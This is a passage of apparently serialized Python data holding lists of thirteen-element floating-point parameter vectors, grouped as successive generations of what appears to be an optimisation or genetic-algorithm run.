122935226427.98189]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 133427418313.38545, \n 131702579310.68652]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.116126459765591e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.517941226634992e-08, 8.771058818345121e-10, 137250169853.3863, \n 133211383937.09729]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99263, \n 143105235055.608]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69511, \n 143860615432.91934]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118202331336.15999, \n 145092770865.8836]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 110377805870.9487, \n 155477031697.76462]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7281503437685213e-10, -1.82610373802557e-15, \n 8.836470142939426e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.63412, \n 158587944243.89005]\n[0.0, -1.2031098015567e-12, -2.522559178506789e-13, 5.003845283040925e-11, \n -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.9950498914670327e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.760544278271184e-10, 99132279868.34593, 171185572417.85907]\n[2.2257852388875064e-10, -1.2031098015567e-12, -2.5161591646068603e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, \n 8.811799226535086e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.508244156181531e-08, 8.760544278271184e-10, 93130287119.72461, \n 180430143233.58368]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8265258253512156e-15,\n 7.430575474541962e-16, 2.0240988631290876e-05, -1.7728642137544318e-06,\n -1.5013783998899997e-08, 8.784555835692595e-10, 86927194519.4496, \n 183449646874.34637]\n[7.863427642383715e-09, -1.2031098015567e-12, -2.5161591646068603e-13, \n 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15,\n 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.500055802123721e-08, 8.750599822793858e-10, 87084714365.5935, \n 191076754457.2524]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15,\n 7.485411998460075e-16, 1.9750639916729973e-05, -1.769936435419886e-06, \n -1.5013783998899997e-08, 8.825388912755251e-10, 96474604776.96465, \n 194275355409.06598]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11,\n -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 2.022642042947946e-05, -1.7639524821935923e-06, -1.503739318330452e-08,\n 8.760544278271184e-10, 86984982238.58047, 194967876303.00238]\n[1.5200576895768509e-09, -1.2059133330572482e-12, -2.0752021923147355e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, \n 7.479116563110691e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4682044872577598e-08, 8.724478065416361e-10, 82147238279.93182, \n 198112832281.90573]\n[2.223825616669009e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7326944854292794e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.534155691698868e-08, 8.721578527250325e-10, 175522473614.0067, \n 115813093887.0164]\n[2.2296631466270538e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 2.0431066002844864e-05, -1.7780476812466564e-06,\n -1.5013783998899997e-08, 8.717160979795123e-10, 146919548917.9041, \n 118508631814.89664]\n[2.2152115305769157e-10, -1.2131115225525171e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.529126273308479e-08, 8.750599822793858e-10, 189141514324.11395, \n 119478476003.54858]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.515944456372276e-08, 8.735477478457909e-10, 171393648132.89902, \n 119746195767.88297]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.680779846505464e-10, 198413310387.34686, \n 120002114057.9749]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.2152115305769157e-10, -1.1981340041661674e-12, -2.0952905567462806e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.397318554179349e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.721578527250325e-10, 146191133033.73245, \n 124495463707.0261]\n[2.220169404817274e-10, -1.2059133330572482e-12, -2.0840667223230766e-13, \n 5.0388416851351e-11, -1.7352085678160897e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.535159731564839e-08, 8.794413360449789e-10, 153568856127.85236, \n 127226107362.62663]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.476241521935537e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.504298228349246e-08, 8.735477478457909e-10, 140382068840.41766, \n 128048566261.66084]\n[-9.575357968769427e-09, -1.2140137633227375e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.747166095423015e-10, -1.842789515995345e-15, \n 7.430575474541962e-16, 2.0343533479720338e-05, -1.761484506217259e-06, \n -1.520980077906525e-08, 8.721578527250325e-10, 135600496522.7375, \n 129146670219.88675]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.449634745732176e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 131821303340.10287, \n 132556338910.10567]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0382265280257245e-11, -1.743336316696023e-10, -1.813766783798406e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 129406444985.873, \n 132653030892.18918]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7480334166671461e-06, \n -1.520980077906525e-08, 8.721578527250325e-10, 133865099427.32999, \n 140436120253.29218]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99377, \n 143105235055.60883]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, \n 143860615432.91846]\n[2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, \n 143868003797.30536]\n[-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, \n 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, \n 144269444777.14786]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, \n 145085114899.6645]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15,\n 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, \n 145085114900.12366]\n[2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, \n 145590447784.79443]\n[2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, \n 153694065180.84283]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, \n 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, \n 154263245256.49524]\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, \n 164710456294.5225]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, \n 170174200265.44513]\n", "step-3": "one = [7.236287049225701e-06, -1.445911565527231e-12, -\n 1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10,\n -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, \n -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10,\n 135323228000.64511, 130464457208.5385]\ntwo = [6.101651991514008e-06, -1.2764740103418866e-12, -\n 1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, \n -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05,\n -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10,\n 194360719320.3122, 75684271432.82758]\nthree = [6.4442734160126695e-06, -1.2463732938819767e-12, -\n 1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, \n -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, \n -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, \n 40874176708.45886, 129961018217.7445]\nfour = [5.591985036569838e-06, -1.5732644861037622e-12, -\n 1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, \n -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, \n -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10,\n 95538034865.65512, 192689393537.75766]\nfive = [5.9877501684316964e-06, -1.4725222964411265e-12, -\n 2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, \n -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, \n -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10,\n 172629547544.72174, 121012464101.10771]\nsix = [6.525636151737385e-10, -1.5516831882387681e-12, -\n 1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10,\n -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497687e-05,\n -1.9757021060346727e-06, -1.5031696163247857e-08, 8.945619840357268e-10,\n 99871865434.22476, 123933224114.80229]\nfirst1_gen = [[6.417695307686038e-06, -1.2416886913890308e-12, -\n 1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -\n 1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, \n -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10,\n 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -\n 1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11,\n -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, \n 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08,\n 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [\n 7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13,\n 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15,\n 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, \n -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, \n 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, \n -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10,\n -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05,\n -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10,\n 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -\n 1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11,\n -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16,\n 2.2287538734129395e-05, -1.8740196054647742e-06, -\n 1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, \n 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -\n 1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10,\n -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05,\n -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10,\n 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -\n 1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, \n -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16,\n 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08,\n 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [\n 6.4442734160126695e-06, -1.5732644861037622e-12, -\n 1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -\n 2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, \n -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10,\n 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -\n 1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11,\n -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16,\n 2.7105518268805634e-05, -1.9663482803776534e-06, -\n 1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, \n 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -\n 1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10,\n -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05,\n -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10,\n 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -\n 1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11,\n -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16,\n 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, \n 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [\n 6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13,\n 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15,\n 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, \n -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, \n 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -\n 1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, \n -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, \n -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, \n 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -\n 1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, \n -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16,\n 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, \n 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [\n 6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13,\n 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15,\n 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, \n -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, \n 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -\n 2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, \n -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -\n 1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10,\n 3105580314530.341, 4622017117439.275]]\nsecond1_gen = [[6.473615077297489e-06, -1.2416886913890308e-12, -\n 1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, \n -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05,\n -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10,\n 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -\n 1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11,\n -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, \n 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08,\n 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [\n 7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13,\n 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15,\n 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06,\n -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, \n 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -\n 1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, \n -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05,\n -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, \n 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -\n 1.2339817339229541e-12, -1.7924803979756243e-13, 5.5902899343682586e-11,\n -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16,\n 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08,\n 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [\n 7.235432436183002e-06, -1.444519147741974e-12, -1.7273464723057338e-13,\n 5.517809418856912e-11, -2.5310572250093563e-10, -1.1658376910672744e-15,\n 3.3048095015500005e-16, 2.4812886502853343e-05, -1.964119169077712e-06,\n -1.4777953862585708e-08, 8.945619840357268e-10, 98015149423.40909, \n 125389712442.99564], [6.382295596647026e-06, -1.5683042319109065e-12, -\n 1.271182130914441e-13, 3.9709881372590666e-11, -2.3411267641257417e-10,\n -1.1298867172210502e-15, 3.273827033054119e-16, 2.71828464025051e-05, -\n 1.86879521538149e-06, -1.6615697675064263e-08, 8.938783145101195e-10, \n 108132988244.55444, 600937075323.7117], [7.3000149385339486e-06, -\n 1.4649443926376347e-12, -1.740251215699652e-13, 5.5040821609381877e-11,\n -2.5448794058714256e-10, -1.1729621402736547e-15, 3.321162280251396e-16,\n 2.492985953688089e-05, -1.95260325957056e-06, -1.4879723555310096e-08, \n 8.886352647229086e-10, 118040637271.1665, 119637343045.177], [\n 5.595995170722691e-06, -1.5775800984465949e-12, -1.2531378473105398e-13,\n 5.5737478708430025e-11, -2.359264703422783e-10, -2.141274549861917e-15,\n 3.2670998922499434e-16, 2.2375793269713536e-05, -1.8912926681237391e-06,\n -1.5244852134327217e-08, 9.114608510796109e-10, 193706809398.06177, \n 145429438824.56485], [6.417695307686038e-06, -1.2390179448049186e-12, -\n 2.0184675219747084e-13, 3.996761820973954e-11, -7.30077645678233e-11, -\n 1.0733818300903034e-15, 3.6521589033170274e-16, 2.7380751148035565e-05,\n -1.901967051200766e-06, -1.6531476837456585e-08, 8.659462633971021e-10,\n 291714681643.4888, 219358626907.00577], [7.269087955666727e-06, -\n 1.4398732474157131e-12, -1.745771866624504e-13, 5.5370858680922966e-11,\n -2.5212090845365535e-10, -1.1547640084684547e-15, \n 3.1826570991307717e-16, 2.4799848604697875e-05, -1.9802449310363633e-06,\n -1.4932011828861567e-08, 8.916225586049855e-10, 291814703950.912, \n 265497905413.09335], [5.9575073045674184e-06, -1.4591405170404072e-12, \n -1.7515686156504634e-13, 5.071091939607585e-11, -7.251972289899038e-11,\n -1.172163868062928e-15, 3.2003450301868095e-16, 2.236559796692659e-05, \n -1.964000257622103e-06, -1.461000086726312e-08, 8.924031273079037e-10, \n 441351014961.37744, 513124822279.29816], [7.118156558728498e-06, -\n 1.4213484509322684e-12, -1.7594919642528414e-13, 5.502275447498347e-11,\n -2.359264703422783e-10, -2.146866081339977e-15, 3.3020925008057705e-16,\n 2.48800717576552e-05, -1.8740196054647742e-06, -1.4681760148497176e-08,\n 9.194043116452982e-10, 480601682287.2741, 2166349399584.3464], [\n 6.435379358296727e-06, -1.449279705541305e-12, -1.791907685050265e-13, \n 4.013727926643595e-11, -2.561628978573389e-10, -1.1658376910672744e-15,\n 3.1916771926698506e-16, 2.706170262409588e-05, -1.9747493962051268e-06,\n -1.6529378614728517e-08, 8.945619840357268e-10, 480690251628.6576, \n 455217335045.56067], [7.273965294010602e-06, -1.4508582334938624e-12, -\n 1.2640181562203036e-13, 5.1256890020829106e-11, -2.347526011960417e-10,\n -1.1573810914157072e-15, 3.313802025100971e-16, 2.5248996663846427e-05,\n -1.8890715225154116e-06, -1.4830513494585048e-08, 9.024560997678787e-10,\n 513022508534.7746, 1741282758378.8208], [7.171513003462397e-06, -\n 1.4334443716578728e-12, -1.258745292341622e-13, 5.562080442549079e-11, \n -2.5310572250093563e-10, -2.177369178159867e-15, 3.269368594462498e-16,\n 2.5052523082312023e-05, -1.9593459141604013e-06, -\n 1.4665768665138152e-08, 8.920318373308913e-10, 559251400205.1976, \n 313686240874.89294]]\nthird1_gen = [[6.428534934734018e-06, -1.2348251959432863e-12, -\n 1.767418187059626e-13, 3.954772029523348e-11, -7.292041892016764e-11, -\n 1.1216042005993232e-15, 3.8462974452187554e-16, 2.732021800880368e-05, \n -1.912188850787629e-06, -1.6465861899672315e-08, 8.953663972360121e-10,\n 35914970214.05617, 208658422545.5101], [6.449609175276781e-06, -\n 1.2355212093166627e-12, -1.7892996139776768e-13, 3.978108705811362e-11,\n -7.260470610345522e-11, -1.128236668058653e-15, 3.8262320992212617e-16,\n 2.699492740612888e-05, -1.9285560276423494e-06, -1.6459368248390354e-08,\n 9.071692193685023e-10, 37667755025.66565, 260591174431.75333], [\n 6.393923513974502e-06, -1.2329510175057565e-12, -1.7878217157136278e-13,\n 4.009121098742944e-11, -7.243742739542879e-11, -1.119215448440791e-15, \n 3.855466000081844e-16, 2.7170577516281446e-05, -1.946180426984478e-06, \n -1.6356719885598995e-08, 9.071692193685023e-10, 41822657912.61174, \n 187148082730.9518], [6.393923513974502e-06, -1.2418411778899226e-12, -\n 1.7764720872488035e-13, 5.5839617178535e-11, -7.217875877484109e-11, -\n 1.1285205693786809e-15, 3.8241419562917457e-16, 2.727322263242888e-05, \n -1.9285560276423494e-06, -1.6299569164241514e-08, 8.954758973117168e-10,\n 45658359101.85514, 143455126000.2526], [6.412748625088242e-06, -\n 1.2418411778899226e-12, -1.7788474362949836e-13, 3.98996561577576e-11, \n -7.290920324596793e-11, -1.1258830930124426e-15, 3.8322709394594156e-16,\n 2.6978084672522227e-05, -1.9285560276423494e-06, -\n 1.6212095851483947e-08, 9.06465374180439e-10, 61888825971.955795, \n 378668457219.4866], [7.2950079161541e-06, -1.423600316370741e-12, -\n 1.8067111524974517e-13, 5.467528933636526e-11, -7.269174548770519e-11, \n -1.1131382577055909e-15, 3.642469974043324e-16, 2.442302310111588e-05, \n -1.9365154780516644e-06, -1.4736235919210341e-08, 9.02573445716291e-10,\n 72168008768.07632, 429565720321.34186], [7.277641363649251e-06, -\n 1.4186237292635021e-12, -1.7672076654522444e-13, 5.4875348972838477e-11,\n -7.250728822785179e-11, -1.1805107762756462e-15, 3.880180132520679e-16,\n 2.7230117388865188e-05, -1.79140018540739e-06, -1.6042437181983083e-08,\n 8.524740779894739e-10, 144497176198.74966, 733034177617.006], [\n 6.435449388867622e-06, -1.2375432988348708e-12, -1.8114977137612309e-13,\n 3.9353291584632385e-11, -7.306938943468394e-11, -1.1645955168783485e-15,\n 3.887993677152085e-16, 2.4432920122355823e-05, -1.927081007099796e-06, \n -1.644170413651962e-08, 9.09149545755435e-10, 151124978488.96066, \n 169172823395.74277], [7.278147471012389e-06, -1.4279386093057266e-12, -\n 1.7683419692117291e-13, 5.493758019518918e-11, -7.289146026177328e-11, \n -1.1733747472097884e-15, 3.675691109659462e-16, 2.4721354631465055e-05,\n -1.7638896999117907e-06, -1.588988736168235e-08, 8.632841256471107e-10,\n 202474467398.45615, 922092113586.5779], [7.177079530800026e-06, -\n 1.234976832476029e-12, -1.7526876652912844e-13, 5.534254133122458e-11, \n -7.205830797649949e-11, -1.120826019773443e-15, 3.8364837768074985e-16,\n 2.2258192147086412e-05, -1.7878127478583311e-06, -1.620023857736605e-08,\n 8.601004856702239e-10, 213869103072.6637, 175609972725.89545], [\n 6.350923506939188e-06, -1.2525603780194753e-12, -1.7993410193080307e-13,\n 5.465765498048408e-11, -7.243742739542879e-11, -1.1188147125437704e-15,\n 3.855466000081844e-16, 2.47790541156232e-05, -1.9163436765125797e-06, -\n 1.4800406168095671e-08, 9.043461740243768e-10, 224990894591.97565, \n 940216435276.2135], [6.375685299492019e-06, -1.2470011129066444e-12, -\n 1.7556981763399573e-13, 5.482994274294271e-11, -7.247391358991481e-11, \n -1.1737410455893592e-15, 3.8256427214483946e-16, 2.4747394888572957e-05,\n -1.921085601798487e-06, -1.655011267092608e-08, 9.011563904603084e-10, \n 242139334921.33466, 239644754200.97003], [6.474178960026375e-06, -\n 1.436844524248817e-12, -1.766513283684079e-13, 3.940038642964773e-11, -\n 7.181977887130175e-11, -1.1548751736666541e-15, 3.1745148598988346e-16,\n 2.707077658308786e-05, -1.92536072773705e-06, -1.6138736645669917e-08, \n 8.669699125562364e-10, 435950975348.6226, 363915964843.3034], [\n 6.393923513974502e-06, -1.4269415936091027e-12, -1.7684911527276688e-13,\n 5.480211712359269e-11, -7.243742739542879e-11, -1.1795054510279537e-15,\n 